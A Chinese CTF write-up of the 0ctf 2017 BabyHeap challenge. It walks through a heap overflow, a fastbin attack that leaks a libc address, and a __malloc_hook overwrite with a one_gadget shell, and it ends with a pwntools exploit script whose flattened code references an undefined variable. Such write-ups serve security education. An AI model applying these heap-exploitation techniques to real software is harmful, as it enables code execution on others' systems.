0ctf Babyheap 2017
0ctf 2017 BabyHeap
1. 题目分析
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
如果
RELRO: Partial RELRO
, 有可能是格式化字符串。
结论: 保护全开,一般是有关堆方面的题。
2. 程序运行
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
1. Allocate
分配内存
2. Fill
填充内容,可填充任意字长的内容,漏洞就出在此处。
3. Free
释放内存。
4. Dump
打印内容。
3. 漏洞分析(借鉴自gd师傅的看雪专栏)
考察知识点 : fastbin attack
One Part(Leak Address)
理论前提:
利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力
下面就围绕这点展开论述:
- First Step
alloc(0x60)
alloc(0x40)
对应的内存:
0x56144ab7e000: 0x0000000000000000 0x0000000000000071 --> chunk0 header
0x56144ab7e010: 0x0000000000000000 0x0000000000000000
0x56144ab7e020: 0x0000000000000000 0x0000000000000000
0x56144ab7e030: 0x0000000000000000 0x0000000000000000
0x56144ab7e040: 0x0000000000000000 0x0000000000000000
0x56144ab7e050: 0x0000000000000000 0x0000000000000000
0x56144ab7e060: 0x0000000000000000 0x0000000000000000
0x56144ab7e070: 0x0000000000000000 0x0000000000000051 --> chunk1 header
0x56144ab7e080: 0x0000000000000000 0x0000000000000000
0x56144ab7e090: 0x0000000000000000 0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000
- Second Step
Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header
0x56144ab7e000: 0x0000000000000000 0x0000000000000071
0x56144ab7e010: 0x6161616161616161 0x6161616161616161
0x56144ab7e020: 0x6161616161616161 0x6161616161616161
0x56144ab7e030: 0x6161616161616161 0x6161616161616161
0x56144ab7e040: 0x6161616161616161 0x6161616161616161
0x56144ab7e050: 0x6161616161616161 0x6161616161616161
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071 --> 已修改为0x71
0x56144ab7e080: 0x0000000000000000 0x0000000000000000
0x56144ab7e090: 0x0000000000000000 0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000
- Third Step: 申请
small chunk
Alloc(0x100)
0x56144ab7e000: 0x0000000000000000 0x0000000000000071
0x56144ab7e010: 0x6161616161616161 0x6161616161616161
0x56144ab7e020: 0x6161616161616161 0x6161616161616161
0x56144ab7e030: 0x6161616161616161 0x6161616161616161
0x56144ab7e040: 0x6161616161616161 0x6161616161616161
0x56144ab7e050: 0x6161616161616161 0x6161616161616161
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071
0x56144ab7e080: 0x0000000000000000 0x0000000000000000
0x56144ab7e090: 0x0000000000000000 0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111 --> chunk2 header
0x56144ab7e0d0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0e0: 0x0000000000000000 0x0000000000000000
- Fourth Step: 破坏
chunk2 header
, 最后目的是释放chunk2
Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk header
Free(1)
Alloc(0x60)
0x56144ab7e000: 0x0000000000000000 0x0000000000000071
0x56144ab7e010: 0x6161616161616161 0x6161616161616161
0x56144ab7e020: 0x6161616161616161 0x6161616161616161
0x56144ab7e030: 0x6161616161616161 0x6161616161616161
0x56144ab7e040: 0x6161616161616161 0x6161616161616161
0x56144ab7e050: 0x6161616161616161 0x6161616161616161
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071
0x56144ab7e080: 0x0000000000000000 0x0000000000000000
0x56144ab7e090: 0x0000000000000000 0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0c0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0d0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0e0: 0x0000000000000000 0x0000000000000071
- Fifth Step: 修复
chunk2 header
,free
它
Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修复chunk2
Free(2)
Dump(1)
0x56144ab7e000: 0x0000000000000000 0x0000000000000071
0x56144ab7e010: 0x6161616161616161 0x6161616161616161
0x56144ab7e020: 0x6161616161616161 0x6161616161616161
0x56144ab7e030: 0x6161616161616161 0x6161616161616161
0x56144ab7e040: 0x6161616161616161 0x6161616161616161
0x56144ab7e050: 0x6161616161616161 0x6161616161616161
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071
0x56144ab7e080: 0x6262626262626262 0x6262626262626262
0x56144ab7e090: 0x6262626262626262 0x6262626262626262
0x56144ab7e0a0: 0x6262626262626262 0x6262626262626262
0x56144ab7e0b0: 0x6262626262626262 0x6262626262626262
0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111
0x56144ab7e0d0: 0x00007f26abbacb78 0x00007f26abbacb78 --> 指向libc中的某地址
0x56144ab7e0e0: 0x0000000000000000 0x0000000000000071
Leak Address
总体流程:
申请两个
fast chunk
, 一个small chunk
, 伪造chunk header
, 最终目的就是为了是libc
的地址出现在某个可打印的chunk
块中。
Two Part(execve(“/bin/sh”))
如何获取Shell
?
malloc_hook 是一个
libc
上的函数指针,调用malloc
时如果该指针不为空则执行它指向的函数,可以通过写malloc_hook
来getshell
思路: Alloc(x), 返回的地址是malloc_hook
, 那么我们就可向这个地址写入execve("/bin/sh")
的地址
现在fastbin
:
[ fb 4 ] 0x7f1017adfb48 -> [ 0x0 ]
[ fb 5 ] 0x7f1017adfb50 -> [ 0x55b076f6b070 ] (112) --> free chunk2
[ fb 6 ] 0x7f1017adfb58 -> [ 0x0 ]
执行free(1)
, Fill(0, 0x60 + 0x10 + 0x10, payload)
[ fb 0 ] 0x7f1017adfb28 -> [ 0x0 ]
[ fb 1 ] 0x7f1017adfb30 -> [ 0x0 ]
[ fb 2 ] 0x7f1017adfb38 -> [ 0x0 ]
[ fb 3 ] 0x7f1017adfb40 -> [ 0x0 ]
[ fb 4 ] 0x7f1017adfb48 -> [ 0x0 ]
[ fb 5 ] 0x7f1017adfb50 -> [ 0x55b076f6b070 ] (112)[ 0x7f1017adfaed ] (112) --> 被修改为了malloc_hook附近的地址
[ fb 6 ] 0x7f1017adfb58 -> [ 0x0 ]
[ fb 7 ] 0x7f1017adfb60 -> [ 0x0 ]
[ fb 8 ] 0x7f1017adfb68 -> [ 0x0 ]
[ fb 9 ] 0x7f1017adfb70 -> [ 0x0 ]
Alloc(0x60) * 2
, 第二次返回的就是malloc_hook
附近的地址.
Fill(2, length, execve_address),
Alloc(0x20) --> 执行execve("/bin/sh")
其他问题:
1. 这个地址和libc
加载的基地址有什么关系?
答: 泄露出来的这个地址与libc之间相差
0x3c4b78
, 可以使用peda
的vmmap
来验证.
0x55b076f6b0c0: 0x0000000000000000 0x0000000000000111
0x55b076f6b0d0: 0x00007f1017adfb78 0x00007f1017adfb78
0x55b076f6b0e0: 0x0000000000000000 0x0000000000000071
0x55b076f6b0f0: 0x0000000000000000 0x0000000000000000
--------------------------------------
0x000055b076f6b000 0x000055b076f8c000 rw-p [heap]
0x00007f101771b000 0x00007f10178db000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f10178db000 0x00007f1017adb000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
2. 0x71
是什么鬼? 为甚么要填充它?
0x71
被称为chunksize
,下面这段代码是malloc.c
中的一段代码,如果fastbin_index (chunksize (victim)) != idx
, 就会corruption
,free
的时候也会检查chunksize
, 根据chunksize
的大小,free
相应的空间.
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{errstr = "malloc(): memory corruption (fast)";
errout:malloc_printerr (check_action, errstr, chunk2mem (victim), av);return NULL;
}
咱们填充0x71
是为了下面alloc(0x60)
时,不会崩掉.
下面给出fastbin_index代码
:
#define fastbin_index(sz) \((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)相当于 (chunksize >> 4) - 2
3. 为什么不选择malloc_hook
作爲第二次Alloc
返回的地址呢?
有下面内容可知,
0x7f1017adfaed
的chunksize
为0x7f
,fastbin_index
检查时不会出错。
而malloc_hook
处chunksize
为0, 马上就会崩掉喽。
0x7f1017adfaed <_IO_wide_data_0+301>: 0x1017ade260000000 0x000000000000007f
0x7f1017adfafd: 0x10177a0e20000000 0x10177a0a0000007f
0x7f1017adfb0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f1017adfb1d: 0x0000000000000000 0x0000000000000000
4. 如何获取execve("/bin/sh")
的地址?
工具
one_gadget
EXP
from pwn import *
context(log_level='debug')DEBUG = 1
if DEBUG:p = process('./babyheap')libc = ELF('./libc.so.6')
else:p = remote()def alloc(size):p.recvuntil('Command:')p.sendline('1')p.recvuntil('Size:')p.sendline(str(size))def fill(index, size, content):p.recvuntil('Command:')p.sendline('2')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Size:')p.sendline(str(size))p.recvuntil('Content:')p.send(content)def free(index):p.recvuntil('Command:')p.sendline('3')p.recvuntil('Index:')p.sendline(str(index))def dump(index):p.recvuntil('Command:')p.sendline('4')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Content: \n')return p.recvline()[:-1]def leak():
# gdb.attach(p)alloc(0x60)alloc(0x40)fill(0, 0x60 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71))alloc(0x100)fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71))free(1)alloc(0x60)fill(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))alloc(0x50)free(2)leaked = u64(dump(1)[-8:])# return libc_basereturn leaked - 0x3c4b78def fastbin_attack(libc_base):malloc_hook = libc.symbols['__malloc_hook'] + libc_baseexecve_addr = 0x4526a + libc_baselog.info("malloc_hook @" + hex(malloc_hook))log.info("system_addr @" + hex(system_addr))gdb.attach(p)free(1)payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0)fill(0, 0x60 + 0x10 + 0x10, payload)alloc(0x60)alloc(0x60)payload = p8(0) * 3payload += p64(0) * 2payload = p64(execve_addr)fill(2, len(payload), payload)alloc(0x20)def main():
# pwnlib.gdb.attach(p)libc_base = leak()log.info("get libc_base:" + hex(libc_base))fastbin_attack(libc_base)p.interactive()if __name__ == "__main__":main()
参考资料
- 0ctf 2017 babyheap writeup(exp有点问题,思路正确)
- gd表哥的babyheap
0ctf Babyheap 2017相关推荐
- 2017 0ctf——babyheap
64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __ ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- DEFCON CTF 2017圆满收关,三支中国战队闯入全球前五
作为CTF界最知名影响范围最广的比赛,为期三天的DefCon CTF 2017在热闹喧嚣中落下了帷幕,经过整整三天两夜52个小时不停歇的比赛,比赛结果最终揭晓,美国PPP战队再次夺冠!这已经是PPP战 ...
- 2017 年总结及 2018 年计划
概述 本文写于 2018.01.01,计划从 2017 开始有目的的进行复盘行动,所以将该文搬运到此处. ----------------------------分界线---------------- ...
- 2017 年已读书单总结
本文写于 2018-01-28 10:48:45,由于搬迁博客到 CSDN,故重新发布以保存历史记录. 2017 年 4 月由于换工作缘故,中间有点空闲时间,再加上新公司不是很忙,在闲暇之余看了几本书 ...
- 2017暑期挖坑计划(持续更新中~)
2017的暑期,是高中生涯唯一一个能称得上暑期的东西了,也是决定我OI这个坑能挖多大的关键时期! 嗯,这个暑期不能颓,一定要好好挖坑,好好补题! 既然入了坑,就努力把坑挖穿再出来! 2017.11.6 ...
- 最新手机号段归属地数据库(2017年4月16日版)免费下载
2017年4月16日版 360569条记录 最新 手机号段数据库 号码归属地数据库 移动号段 联通号段 电信号段 14号段 170号段(虚拟运营商) 权威 全面 准确 规范 字段包括 ...
- Auty 2017——WebMonitor接口线上检测平台
[本文出自天外归云的博客园] Auty 2017--WebMonitor接口检测平台 前篇 接口本地检测平台 本篇 接上篇,在本地检测平台的基础上,去掉本地服务,改功能为线上使用.好处是项目可以多人访 ...
- 东北大学计算机分数线2017,东北大学2017年本科一批录取分数线(全国)
东北大学2017年全国各省各批次集中录取时间为7月6日-27日,在各省录取结束的分批次分科类录取最低分将在本页面持续更新公布,考生录取结果可通过关注东北大学招生办官方微信公众号(neuzs-1923) ...
- 计算机三级四级机考,2017年全国计算机等级考试四级上机编程试题一
试题说明 : 已知在文件IN.DAT中存有若干个(个数<200)四位数字的正整数, 函数ReadDat( )是读取这若干个正整数并存入数组xx中.请编制函数CalValue( ), 其功能要求: ...
最新文章
- graphql是什么_为什么GraphQL是避免技术债务的关键
- CentOS系统启动及内核大破坏模拟实验
- DataSet 的 Merge 方法
- javascript学习-创建json对象数据,遍历
- C0302 将一个代码块中的内容保存在文件中, 查看一个rpm包是否可以安装
- 在线流程图绘制网站draw.io支持的三种存储介质
- MySQL内连接方法_Mysql常用的几种join连接方式
- 2018.09.30 bzoj2288:生日礼物(贪心+线段树)
- mescroll上拉加载的实现
- linux setarch 命令,6.22. Util-linux-2.23.1
- hibernate、java、数据库对应类型
- c语言多线程怎么写,如何用C语言实现多线程
- 从事测试的第6年 , 开工第二天五千字总结..我不平凡的2021
- 单元测试框架TestableMock快速入门(七):常用注解参数
- 金蝶财务软件有哪些缺点
- 五类推荐系统算法,非常好使,非常全面
- thinkphp之url的seo优化
- 机器学习练习 6 - Support Vector Machines(支持向量机)
- 超千人围观,普及 “反诈” 常见场景及应对手段,还有黑灰产攻防手段
- 无线流媒体网关改变视频会议室